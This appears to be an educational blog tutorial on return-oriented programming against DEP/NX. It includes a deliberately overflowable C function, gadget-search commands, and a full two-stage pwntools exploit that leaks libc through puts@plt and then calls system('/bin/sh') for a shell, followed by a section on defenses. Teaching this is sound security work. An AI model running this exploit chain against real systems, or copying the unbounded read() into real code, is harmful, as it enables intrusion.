Return-Oriented Programming (ROP) Against DEP

Return-Oriented Programming (ROP) Against DEP - article cover image RE & Pwn
Time it takes to read this article 7 minutes.

Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.

Introduction

Return-Oriented Programming (ROP) is the answer to a single defensive move: DEP/NX marks writable memory (stack, heap) as non-executable, so once an attacker controls the instruction pointer they can no longer simply jump to shellcode they wrote onto the stack. ROP sidesteps this by never introducing new code at all. Instead it reuses code that is already present and already executable — short instruction sequences ending in ret, called gadgets — and stitches them into a chain by laying a sequence of addresses on the stack. Each ret pops the next gadget address into rip, so the stack becomes a little program and the CPU walks through borrowed instructions to perform arbitrary computation.

ROP grew out of the earlier ret2libc technique and generalizes it: where ret2libc returns into a single complete libc function (classically system("/bin/sh")), ROP composes many partial fragments so you can set up registers, make syscalls, and do arithmetic even when no single convenient function exists. On x86-64 this matters because the System V calling convention passes arguments in registers (rdi, rsi, rdx, rcx, r8, r9), so calling system requires first loading its argument into rdi — which is precisely what a pop rdi; ret gadget does. The remaining obstacle is ASLR: to name a libc address at all you generally need an information leak first, so a realistic chain is leak, compute, then execute.

Attack Prerequisites

ROP presupposes you have already achieved control of the instruction pointer (typically via a stack overflow as covered in the previous article) and now must turn that control into execution under NX. Practically you need:

  • Control of the stack / return address so you can place a chain of gadget addresses that successive ret instructions will consume.
  • A supply of gadgets — enough executable code in the binary and/or a linked library (glibc is enormous and always has what you need) to load registers and reach a syscall/call.
  • Known addresses for those gadgets — either the binary is non-PIE (its own gadgets and PLT are at fixed addresses) or you have a leak that reveals a libc/PIE base to defeat ASLR.
  • A large enough overflow / write primitive to hold the whole chain (chains are longer than a single overwrite, so limited-length overflows sometimes need a stack pivot first).

How It Works

A gadget is any useful run of instructions that terminates in a ret (0xC3). Because ret pops the top of the stack into rip, if the attacker owns the stack they own the sequence of gadgets executed. Consider pop rdi; ret: when ret transfers control to it, the pop rdi consumes the next 8 bytes on the stack into rdi, then its own ret consumes the following 8 bytes as the address of the next gadget. So the stack is laid out as alternating *gadget address, data, gadget address, data* — a program encoded entirely in return addresses and immediates. Tools enumerate these sequences: ROPgadget --binary ./target and ropper --file ./target --search 'pop rdi' list gadgets and their addresses.

ret2libc is the minimal case. To spawn a shell you need system("/bin/sh"), which on x86-64 means: put a pointer to the string “/bin/sh” into rdi, then transfer to system. glibc conveniently already contains the literal string “/bin/sh”, so you do not even have to write it. The chain is [pop rdi; ret][addr of "/bin/sh"][addr of system]. A subtlety on x86-64 is stack alignment: system (and other libc functions) execute movaps, which raises a general-protection fault if rsp is not 16-byte aligned at the call site. If the chain lands misaligned you insert a lone ret gadget as padding to nudge rsp back to a 16-byte boundary.

ret2plt exploits the fact that a dynamically linked binary calls library functions through its Procedure Linkage Table (PLT) and Global Offset Table (GOT). In a non-PIE binary the PLT stubs are at fixed addresses, so you can return straight into puts@plt or write@plt without knowing where libc is. This is the standard way to build a leak: call puts@plt with rdi pointing at a GOT entry (which holds the runtime address of a libc function), and the program prints that address to you. Subtract the known offset of that function within your libc build and you have the libc base, which turns every libc symbol — system, a /bin/sh string, or a one_gadget — into a computable address. That single leak is what defeats ASLR.

Vulnerable Code: The Overflow That Feeds the Chain

ROP does not need a new bug; it needs the same stack overflow, only now the controlled return address is spent on a chain instead of on stack shellcode. The vulnerable function is identical to the classic overflow:

#include <unistd.h>

void vuln(void) {
    char buf[64];
    read(0, buf, 512);     // VULNERABLE: reads up to 512 into a 64-byte buf
                           // -> overwrites saved RIP and 400+ bytes beyond,
                           //    plenty of room for a multi-gadget chain
}
C

What changes versus the previous article is the build: NX is *on* (the default), so shellcode on the stack is dead. That is exactly the condition ROP is designed for. checksec confirms the mitigation profile you must work against:

gcc -fno-stack-protector -no-pie -g -o target target.c   # NX on, PIE off
checksec --file=./target
#  RELRO: Partial   Canary: No   NX: Enabled   PIE: No
#  -> stack shellcode blocked by NX; non-PIE means fixed gadget/PLT addrs
Bash

Walkthrough: Leak libc, Then ret2libc

Step one is to harvest gadgets and PLT/GOT addresses. pop rdi; ret is the workhorse for loading the first argument, and a bare ret provides alignment padding:

ROPgadget --binary ./target | grep -E ': pop rdi ; ret$'
ropper --file ./target --search 'ret'      # find a lone 'ret' for alignment

# If you already know the target's libc, find a direct execve gadget:
one_gadget /lib/x86_64-linux-gnu/libc.so.6   # prints constraint-tagged offsets
Bash

Step two builds the leak-then-execute exploit in pwntools. The first chain calls puts(puts@got) to print a live libc address and returns into main so the same overflow can be sent again; the second chain uses the now-known libc base to call system("/bin/sh"):

from pwn import *

e   = ELF('./target')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
io  = process('./target')

offset  = 72
pop_rdi = 0x0000000000401234        # from ROPgadget: 'pop rdi ; ret'
ret     = 0x000000000040101a        # a lone 'ret' for 16-byte alignment

# --- Chain 1: leak libc via puts(puts@got), then restart main() ---
chain1  = b'A' * offset
chain1 += p64(pop_rdi) + p64(e.got['puts'])   # rdi = &puts (GOT entry)
chain1 += p64(e.plt['puts'])                  # call puts@plt -> prints libc addr
chain1 += p64(e.symbols['main'])              # return into main for round two
io.sendline(chain1)

leak = u64(io.recvline().strip().ljust(8, b'\x00'))
libc.address = leak - libc.symbols['puts']    # compute libc base (beats ASLR)
log.success(f'libc base = {hex(libc.address)}')
Python

With libc.address set, pwntools resolves every libc symbol at its real runtime address. The second chain is the ret2libc call itself, with the alignment ret prepended so movaps inside system does not fault:

system   = libc.symbols['system']
binsh    = next(libc.search(b'/bin/sh\x00'))  # /bin/sh literal inside libc

# --- Chain 2: system("/bin/sh") ---
chain2  = b'A' * offset
chain2 += p64(ret)                # 16-byte stack alignment for movaps
chain2 += p64(pop_rdi) + p64(binsh)   # rdi = pointer to "/bin/sh"
chain2 += p64(system)             # system("/bin/sh")
io.sendline(chain2)
io.interactive()                  # shell
Python

The same leak strategy generalizes when a clean pop rdi; ret or system//bin/sh is unavailable: one_gadget finds single libc addresses that call execve("/bin/sh", NULL, NULL) when certain register/stack constraints hold, letting you replace the two-gadget call with one jump — provided you satisfy the printed constraints (e.g. [rsp+0x40] == NULL).

Note: Gadget hunting is about primitives, not specific instructions. If pop rdi; ret is absent you can often synthesize the same effect from pop rsi; pop r15; ret plus a mov gadget, or pull a whole register set from the __libc_csu_init epilogue on older glibc (the classic “ret2csu” gadget for controlling rdi/rsi/rdx). When the overflow is too short to hold a full chain, a stack pivot (leave; ret or xchg rax, rsp) moves rsp into a larger buffer you control.

Opsec: ret2libc/ROP requires the *exact* libc build to compute correct offsets; a leaked address plus a service banner is often enough to fingerprint it (libc-database / the libc.rip dataset). Getting the libc wrong means the second stage jumps into the wrong offset and crashes — so mismatched libc versions are a leading cause of a leak succeeding but the shell failing.

Detection and Defense

ROP is a symptom of an underlying memory-corruption bug plus a leak, so the primary defense is still to prevent the bug; the rest raise the cost of chaining and of learning addresses:

  • Fix the memory bug — bounds-checked copies, _FORTIFY_SOURCE, and stack canaries stop the overflow from ever reaching the return address.
  • Full RELRO (-Wl,-z,relro,-z,now) makes the GOT read-only after startup, removing GOT overwrite as a follow-on primitive and hardening the PLT/GOT surface ret2plt abuses.
  • PIE + strong ASLR forces the attacker to find a leak before any address is usable; combined with a fixed leak being single-use, this defeats naive hardcoded chains.
  • Shadow stacks / CET (Intel CET, ARM PAC/BTI) validate return addresses and indirect branch targets in hardware, breaking the core ret-chaining primitive; enable them where the toolchain and CPU support it.
  • Detection — repeated crashes with rip pointing at gadget-shaped addresses, unusually deep or non-canonical stacks, and EDR control-flow-integrity violations flag exploitation attempts; fuzzing under ASan finds the feeder bug pre-production.

Real-World Impact

ROP is the standard exploitation technique on every modern NX-enabled platform and is a fixture of CTF pwn challenges and of real client-side and server-side exploit chains alike. Its academic formalization by Hovav Shacham in 2007 (“The Geometry of Innocent Flesh on the Bone”) showed that a sufficiently large code base is effectively Turing-complete through gadgets alone, which is why NX by itself never ends exploitation — it only changes its shape. The subsequent arms race (ASLR, then leaks; then CFI/shadow stacks, then CFI-bypass research) is a direct continuation of the pattern ROP established.

Conclusion

ROP defeats DEP/NX by refusing to run new code: it reuses existing executable fragments, driven by a stack the attacker controls. The realistic chain is leak, compute, execute — use a ret2plt call such as puts(puts@got) to defeat ASLR, resolve the libc base, then ret2libc into system("/bin/sh") with correct 16-byte stack alignment. Mastering the gadget model, the calling convention, and the leak-first workflow is what turns instruction-pointer control under modern mitigations into a shell.

You Might Also Like

If you found this useful, these related deep-dives cover adjacent techniques and their defenses:

Comments

Copied title and URL